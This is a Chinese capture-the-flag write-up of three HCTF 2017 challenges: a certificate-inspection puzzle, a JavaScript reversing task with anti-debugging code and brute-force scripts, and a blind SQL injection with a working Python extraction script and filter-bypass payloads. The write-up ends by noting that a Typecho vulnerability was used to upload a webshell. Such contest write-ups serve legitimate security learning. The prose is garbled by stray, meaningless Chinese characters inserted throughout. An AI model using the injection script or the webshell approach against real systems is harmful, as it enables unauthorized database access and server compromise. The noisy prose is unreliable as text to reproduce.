總結: 今年HCTF 比較難,總共兩天就作出三道題,第二關的js逆向題更是做了快一天了框都,之前對js調試沒有接觸過, 就一直用chrome的調試窗口調試js, 看了一天眼睛都看花了呵晨,最后把js所有邏輯都分析了一遍才艱難的做出來
easy_sign_in
用chrome瀏覽器打開后頁面顯示Why does your browser issue a warning?
而且網(wǎng)站的https的圖標被報警告了魏保, 結合提示,應該是證書的問題摸屠,使用的自簽名的證書而不是CA頒發(fā)的證書谓罗, 推薦用Firefox瀏覽器打開查看證書信息 或者下載證書下來用openssl查看:
?root?/home/ctfwp2017/HCTF/Web??? openssl x509 -noout -text -in flag.crt
Certificate:
Data:
Version: 1 (0x0)
Serial Number:
f5:02:e2:6f:2e:c9:e8:3e
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
Validity
Not Before: Nov 8 08:17:41 2017 GMT
Not After : Nov 6 08:17:41 2027 GMT
Subject: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:b7:5d:f3:ed:17:01:c2:82:1c:39:70:20:cf:9e:
09:3d:ea:d2:06:8b:ec:46:f2:3a:68:a9:43:94:33:
ce:93:fe:1e:b8:f1:59:21:dd:81:d1:9b:1d:37:ec:
74:19:25:53:13:4f:9d:a9:bc:13:87:03:33:32:9b:
6b:37:67:4c:99:3a:69:6f:9f:2d:c2:a7:41:ef:10:
ef:bd:35:d2:b7:73:e3:01:fa:9c:16:6e:d9:f3:ee:
84:cd:32:c7:cd:83:30:12:83:6d:f8:fd:70:89:21:
f3:71:bd:e0:7f:f7:03:12:92:f9:86:ec:21:88:8a:
0f:68:55:82:ed:18:a8:f8:59
Exponent: 65537 (0x10001)
Signature Algorithm: sha256WithRSAEncryption
6d:f3:d6:9e:bc:1d:51:01:2d:16:7d:22:f1:ca:22:03:fe:2e:
8a:2c:14:68:43:ca:4e:5a:f8:ab:b0:16:5a:5c:2a:54:72:2a:
7f:ea:44:9c:fc:36:df:d5:95:4f:fc:44:fb:da:9f:20:95:a4:
a6:d2:02:6a:a5:57:56:2d:17:94:b2:29:56:5b:53:5d:1a:54:
fe:e0:d8:04:ae:57:6d:ee:57:bb:15:9c:f9:35:39:23:ca:3f:
3d:cb:a3:3a:0e:91:7d:7e:09:ee:3a:ea:98:d6:1b:52:ae:23:
34:e9:66:24:e6:5b:53:cc:40:eb:ce:ee:73:6a:33:f0:3f:75:
40:22
我們根據(jù)提示來看下Issuer字段都有那些東西Issuer: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
C(Country)是國家CN, L(Locality)是城市,Default City, O(Organization)是組織季二, OU其他內容為: flag in
發(fā)現(xiàn)組織這里有一個陌生的ip, 訪問即可得到flag
BabyCrack
描述
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Please make sure hint 4!!!
查看源代碼發(fā)現(xiàn)=_=.js
中有一大段js代碼檩咱,就補貼了, 這里利用chrome的調試器格式化一下js代碼即可
下面是程序的大致框架胯舷, 強烈建議對一些常用函數(shù)改名刻蚯,因為看到滿屏十六進制函數(shù)名你會感覺到出題人深深的惡意的, 下面是我對一些函數(shù)改名后的代碼
var strDict = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace', '(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();', '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log', 'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...', 'window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function', 'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://', 'Url\x20error', 'query', 'filter', 'active', 'floor'];
(function(_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function(_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(strDict, 0x1a2));
var getStr = function(_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = strDict[_0x5c351c];
return _0x26f3b3;
};
function check(_0x5b7c0c) {
}
...
...
...
function test() {
var _0x5bf136 = document[getStr('0x32')](getStr('0x33'))['value'];
if (_0x5bf136 == '') {
console[getStr('0x34')](getStr('0x35'));
return ![];
}
var _0x4d0e29 = check(_0x5bf136);
if (_0x4d0e29) {
alert(getStr('0x36'));
} else {
alert(getStr('0x37'));
}
}
window['onload'] = function() {
setInterval(getStr('0x38'), 0x32);
test();
}
;
程序的如擴函數(shù)是test(), 獲取我們輸入的值(flag), 調用check()來驗證桑嘶,如果返回非0,則彈框成功炊汹,否則彈框失敗
我們來看下check()這個主要的驗證函數(shù):
var strDict2 = ['code', getStr('0x0'), getStr('0x1'), getStr('0x2'), 'invalidMonetizationCode', getStr('0x3'), getStr('0x4'), getStr('0x5'), getStr('0x6'), getStr('0x7'), getStr('0x8'), getStr('0x9'), getStr('0xa'), getStr('0xb'), getStr('0xc'), getStr('0xd'), getStr('0xe'), getStr('0xf'), getStr('0x10'), getStr('0x11'), 'url', getStr('0x12'), getStr('0x13'), getStr('0x14'), getStr('0x15'), getStr('0x16'), getStr('0x17'), getStr('0x18'), 'tabs', getStr('0x19'), getStr('0x1a'), getStr('0x1b'), getStr('0x1c'), getStr('0x1d'), 'replace', getStr('0x1e'), getStr('0x1f'), 'includes', getStr('0x20'), 'length', getStr('0x21'), getStr('0x22'), getStr('0x23'), getStr('0x24'), getStr('0x25'), getStr('0x26'), getStr('0x27'), getStr('0x28'), getStr('0x29'), 'toString', getStr('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c[strDict2[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function(_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function(_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
}
;
if (!''['replace'](/^/, String)) {
while (_0x46da6f--)
_0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [function(_0x5e8f1a) {
return _0x2829f2[_0x5e8f1a];
}
];
_0x2d59cf = function() {
return getStr('0x2b');
}
;
_0x46da6f = 0x1;
}
;while (_0x46da6f--)
if (_0x802d91[_0x46da6f])
_0x200db2 = _0x200db2[getStr('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb','g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(getStr('0x2d'), 0x11, 0x11, getStr('0x2e')['split']('|'), 0x0, {}));
check 定義了大量的函數(shù),要學會分析去掉一些混淆無用的函數(shù)逃顶, 比如開頭的eval函數(shù)讨便,比較復雜,分析了好久以政,最后才發(fā)現(xiàn)執(zhí)行一段反調試的程序霸褒,導致程序一運行到這里就進入死循環(huán), 我被坑在這里好久妙蔗,最后才反映過來傲霸, 浪費了大量的時間
我們看下eval函數(shù)的傳入的參數(shù):(getStr('0x2d'), 0x11, 0x11, getStr('0x2e')['split']('|'), 0x0, {}))
并沒有傳入我們輸入的值,因此是一個混淆的無用函數(shù)眉反,這里可以選擇注釋或者把eval改成alert
查看下最后執(zhí)行的是什么內容
(function () {
(function a() {
try {
(function b(i) {
if (('' + (i / i)).length !== 1 || i % 20 === 0) {
(function () {
}).constructor('debugger') ()
} else {
debugger
}
b(++i)
}) (0)
} catch (e) {
setTimeout(a, 5000)
}
}) ()
}) ();
最后eval 函數(shù)執(zhí)行這樣的一段匿名函數(shù)昙啄, 導致一直無法繼續(xù)調試下去,這里我們選擇注釋然后繼續(xù)看下面的內容
(function(_0x3291b7, _0xced890) {
var _0xaed809 = function(_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[getStr('0x4')](_0x3291b7['shift']());
}
};
_0xaed809(++_0xced890);
}(strDict2, _0x5cea12 % 0x7b));
var getStr2 = function(_0x3120e0) {
var _0x3120e0 = parseInt(_0x3120e0, 0x10);
var _0x3a882f = strDict2[_0x3120e0];
return _0x3a882f;
};
var tohex = function(_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[getStr2(0x8)]; _0x59c050++) {
_0x52b956 += _0x52ba71[getStr2('f')](_0x59c050)[getStr2(0xc)](0x10);
}
return _0x52b956;
};
之后又定義了一個無用的匿名函數(shù)(匿名函數(shù)無法被調用寸五,因此一般是沒有用的), 可以選擇step over
跳過去梳凛, getStr2() 函數(shù)是一個獲取strDict2數(shù)組元素的函數(shù), tohex()函數(shù)是一個字符串轉hex的函數(shù)
var _0x76e1e8 = _0x5b7c0c["split"]('_');
var _0x34f55b = (tohex(_0x76e1e8[0x0][getStr2(0xd)](-0x2, 0x2)) ^ tohex(_0x76e1e8[0x0][getStr2(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][getStr2(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
b2c = function(_0x3f9bc5) { //對第三個參數(shù)base32
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[getStr('0x25')](_0x3f9bc5[getStr2(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[getStr2(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
}
_0x4a199f += 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')](_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5) >> 0x3));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')](_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1)
_0x545c12 = 0x6;
else if (_0x4ee491 == 0x2)
_0x545c12 = 0x4;
else if (_0x4ee491 == 0x3)
_0x545c12 = 0x3;
else if (_0x4ee491 == 0x4)
_0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++)
_0x4dc510[getStr('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++)
_0x4dc510[getStr2('1b')]('=');
// (function() {
// (function _0x3c3bd8() {
// try {
// (function _0x4dc510(_0x460a91) {
// if (('' + _0x460a91 / _0x460a91)[getStr('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
// (function() {}
// ['constructor']('debugger')());
// } else {
// debugger ;
// }
// _0x4dc510(++_0x460a91);
// }(0x0));
// } catch (_0x30f185) {
// setTimeout(_0x3c3bd8, 0x1388);
// }
// }());
// }());
return _0x4dc510[getStr('0x31')]('');
}
;
var _0x76e1e8 = _0x5b7c0c["split"]('_');
把flag根據(jù)_
分隔成幾個子串梳杏,還是去年的套路韧拒,把flag分成幾段淹接,分別去解出來,然后拼接起來
var _0x34f55b = (tohex(_0x76e1e8[0x0][getStr2(0xd)](-0x2, 0x2)) ^ tohex(_0x76e1e8[0x0][getStr2(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][getStr2(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
這里判斷了第一個子串叛溢,用子串后兩位異或第五位對子串長度求余塑悼,如果結果不等于5, 就退出程序,flag第五位是{
, 第一個子串猜測長度為7(這里只出現(xiàn)了7位)楷掉,寫一個腳本去爆破后兩位:
import exrex
pattern = '[0123456789abcdefghijklmnopqrstuvwxyz]{2}'
for i in exrex.generate(pattern):
if (int((i).encode('hex'),16) ^ 0x7b) % 7 == 5:
print 'res:',i
得到很多個結果厢蒜,我們選擇一個js
先暫時繞過這個判斷(最后是需要根據(jù)提供的flag的hash值去爆破的), 于是我們得到第一個字串長度為flag[0] = 'hctf{js'
繼續(xù)看b2c函數(shù), 該函數(shù)通過分析發(fā)現(xiàn)是一個str 轉base32的函數(shù)(可以通過直接看返回值烹植,跳過一步一步調試的去看斑鸦, 中間一個匿名函數(shù)也是反調試的混淆代碼,這里直接注釋了)
e = tohex(b2c(_0x76e1e8[0x2])["split"]('=')[0x0]) ^ 0x53a3f32; //去掉= 后轉hex
if (e != 0x4b7c0a73) { //NF5A iz
return ![];
}
f = tohex(b2c(_0x76e1e8[0x3])["split"]('=')[0x0]) ^ e; //OMYA s0
if (f != 0x4315332) {
return ![];
}
n = f * e * _0x76e1e8[0x0][getStr2(0x8)];
h = function(_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[getStr2(0x8)]; _0x2fbf7a++) {
_0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
}
return _0x3ea581;
}
;
j = _0x76e1e8[0x1]["split"]('3');
if (j[0x0][getStr2(0x8)] != j[0x1][getStr2(0x8)] || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613) {
return ![];
}
k = _0xffcc52=>_0xffcc52[getStr2('f')]() * _0x76e1e8[0x1][getStr2(0x8)];
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
}
m = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;
function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
_0x55b09f += _0x5a25ab;
}
return _0x55b09f;
}
if (!m || _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2)
return o && _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2);
e和 f都是對flag[2],flag[3] 進行判斷的草雕,都只是簡單地異或操作巷屿,解出來是iz和s0,
j = _0x76e1e8[0x1]["split"]('3');
這一段又把flag[1]分成了兩個字串j[0],j[1], 判斷條件為:j[0x0][getStr2(0x8)] != j[0x1][getStr2(0x8)] || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613
也是一個異或操作墩虹, 并不能確定具體是什么嘱巾,我們繼續(xù)來看, k定義了一個類似lambda的函數(shù)_0xffcc52=>_0xffcc52[getStr2('f')]() * _0x76e1e8[0x1][getStr2(0x8)]
, 然后把j[0]和k都傳入h函數(shù), h函數(shù)把j[0]的每一位都傳入k函數(shù)然后對結果拼接起來诫钓,最后需要等于0x2f9b5072, js的弱類型會認為 12
== 0xc,即數(shù)字字符串12和0xc是相同的, 0x2f9b5072=798707826, 把798
,707
,826
分別傳入通過逆回去浓冒,flag[1]長度為7, 解出來j[0]為rev, 通過第一次的異或的比較,得到另一串為rse, 因此flag[1] = rev3rse
m 是對flag[4]的前四位的判斷尖坤, 算出來是h4rd, _0x5a6d56是一個repeat函數(shù), 后面兩個判斷都是對flag[4]子串進行判斷的:
if (!m || _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
return o && _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2);
這段代碼比較繞,我們需要迅速找到能夠快速確定值的地方,比如_0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2
我們就可以確定第第五位是2, 反推前面_0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1)
可以確定倒數(shù)第二位是3
這個時候我們可以確定的內容還是比較少闲擦,我們回到題目的一些提示
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
題目給出了這四位的值慢味, 第一個判斷有一個是這樣的_0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4)
需要讓這個條件不成立,(0x5, 0x1)是未知的墅冷,(-0x5, 0x4)我們知道是"3333", 我們可以大膽猜想(5,1) =(-8,1)= "3" , 這樣纯路,我們第四個子串的已知部分為: h4rd23**3333}
只剩下第七位和第八位了, 通過_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2)
這個判斷我們知道第七位和第八位應該是相同的(用了_0x5a6d56這個repeat函數(shù)),
o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
這個判斷需要我們學一個腳本去爆破下看那些符合這個條件的字符:
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
for i in s:
#print ord(i)*13*5
try:
if int((i+i).encode('hex').replace('0x','')) == ord(i)*13*5:
print i
except:
pass
最后爆出來字符e滿足,所有最后的flag應該是: hctf{js_rev3rse_iz_s0_h4rd23ee3333}
, 提交到輸入框中確實彈出答案正確寞忿,但提交flag卻顯示錯誤驰唬, 這就是為什么題目給了flag的hash值了, 因為js這兩位是不確定的腔彰,可以是其他的字符串叫编,因此這里通過hash來爆破flag
import hashlib
pattern = '[0123456789abcdefghijklmnopqrstuvwxyz]{2}'
for i in exrex.generate(pattern):
if (int((i).encode('hex'),16) ^ 0x7b) % 7 == 5:
print 'res:',i
flag = "hctf{%s_rev3rse_iz_s0_h4rd23ee3333}"%i
if hashlib.new('sha256',flag).hexdigest() == 'd3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443':
print flag
break
最后解出來flag為: hctf{j5_rev3rse_iz_s0_h4rd23ee3333}
SQL Silencer
描述
What you need is in database
手動fuzz下發(fā)現(xiàn)過濾了+
,-
,*
,空格
,password
,order
,limit
,and
,or
,'
' infomation
,table_name
這些, 試了下id=2|3
, id=2|2
發(fā)現(xiàn)可以控制id霹抛,說明存在注入搓逾,這里我用的payload為id=1^1^1
, 腳本如下:
#!/usr/bin/env python
#coding:utf-8
import requests
import urllib
url = "http://sqls.2017.hctf.io/index/index.php?id="
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
#hex_s = ' !"#$%&`()*+,-./0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}~'
hex_s = ["20","21","22","23","24","25","26","27","28","29","2A","2B","2C","2D","2E","2F","30","31","32","33","34","35","36","37","38","39","3A","3B","3C","3C","3D","3E","3F","40","41","42","43","44","45","46","47","48","49","4A","4B","4C","4D","4E","4F","50","51","52","53","54","55","56","57","58","59","5A","5B","5C","5D","5E","5F","60","61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","7B","7D","7E","7F"]
old_char = ''
payload = "1^((select%0aflag%0afrom%0aflag%0awhere%0aflag>binary(0x60))>binary(0x{}))^1"
def access(p):
param = payload.format(old_char+p)
res = requests.get(url+param,headers=headers).content
#print param,res
if 'Alice' in res:
return True
else:
return False
def erfen():
global old_char
for y in hex_s:
l = 0
r = len(hex_s)
while l<r:
mid = (l+r)/2
if access(hex_s[mid]): # 如果為1,說明flag該位的值大于mid
l = mid+1
else:
r = mid
old_char += hex_s[l-1]
#print l
if l > 94:
return old_char[:-2].decode('hex')
break
print 'data => ',old_char.decode('hex')
if __name__ == '__main__':
s = erfen()
print 'flag:',s[:-1]+chr(ord(s[-1])+1)
有一處比較坑的地方是: flag表里面有不止一條數(shù)據(jù), 還禁用了limit函數(shù)杯拐,導致只取一條數(shù)據(jù)霞篡,這里利用where flag>binary(0x50)
再做一次篩選即可
發(fā)現(xiàn)flag表里面有兩條數(shù)據(jù):
./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
What_U_n33d_1s_under_m3
訪問這個目錄403, 掃目錄后發(fā)現(xiàn)了一些有趣的文件比如admin/index.php
, 從后臺可以看出這是一個typecho的站點世蔗,想到前不久剛爆出的typecho的漏洞,之前正好也分析了一波朗兵, 這里直接上傳到根目錄是沒有權限的污淋,我們可以上傳到uploads目錄下面, 最后成功getshell 菜刀連上去在根目錄發(fā)現(xiàn)flag